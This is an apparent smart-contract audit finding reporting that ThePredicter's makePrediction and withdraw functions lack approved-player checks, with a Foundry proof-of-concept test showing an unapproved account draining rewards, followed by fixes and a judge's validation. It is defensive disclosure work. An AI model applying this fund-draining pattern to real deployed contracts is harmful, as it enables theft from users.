Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Non approved players can make predictions and withdraw rewards

Summary

Non approved players can make predictions and withdraw rewards. If the attacker makes a correct prediction using ThePredicter.makePrediction function they will be able to steal funds from the contract by calling the ThePredicter.withdraw function

Vulnerability Details

The functions ThePredicter.makePrediction and ThePredicter.withdraw do not validate that the caller is an approved player. This enables any user to make predictions if the predictions are correct to withdraw funds. Moreover, the malicious user does not have to pay an entrance fee to do this, just the prediction fee. There is no limit to the amount of users that can do this, which can drain the contract's funds, leaving valid players unable to withdraw their rewards.

The following PoC shows how this vulnerability can be exploited:

pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract NonPlayersCanMakePredictionsAndWithdrawalsTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_aNonPlayerCanMakePredictionsAndWithdrawalsWithoutPayingEntranceFee() public {
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
// stranger2 is not a player
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
vm.stopPrank();
// make predictions
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
vm.stopPrank();
// stranger2 is not a player, however he is able
// to make predictions
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
uint256 stranger2BalanceBefore = stranger2.balance;
vm.startPrank(stranger2);
// stranger2 is not a player, however he can withdraw rewards
thePredicter.withdraw();
vm.stopPrank();
// stranger2 successfully received funds from ThePredicter
assertGt(stranger2.balance, stranger2BalanceBefore);
vm.startPrank(stranger);
// stranger who is an approved player eligible for reward
// is not able to withdraw because the funds where stolen.
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
}
}

Impact

  • Non players can participate in predictions and claim rewards, potentially draining contract's funds

Tools Used

Foundry

Recommendations

  • Add validations to ThePredicter.makePredictor and ThePredicter.withdraw functions to ensure the callers are approved players.

Optionally:

  • Add events for new predictions and withdrawals to have better visibility of user actions

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.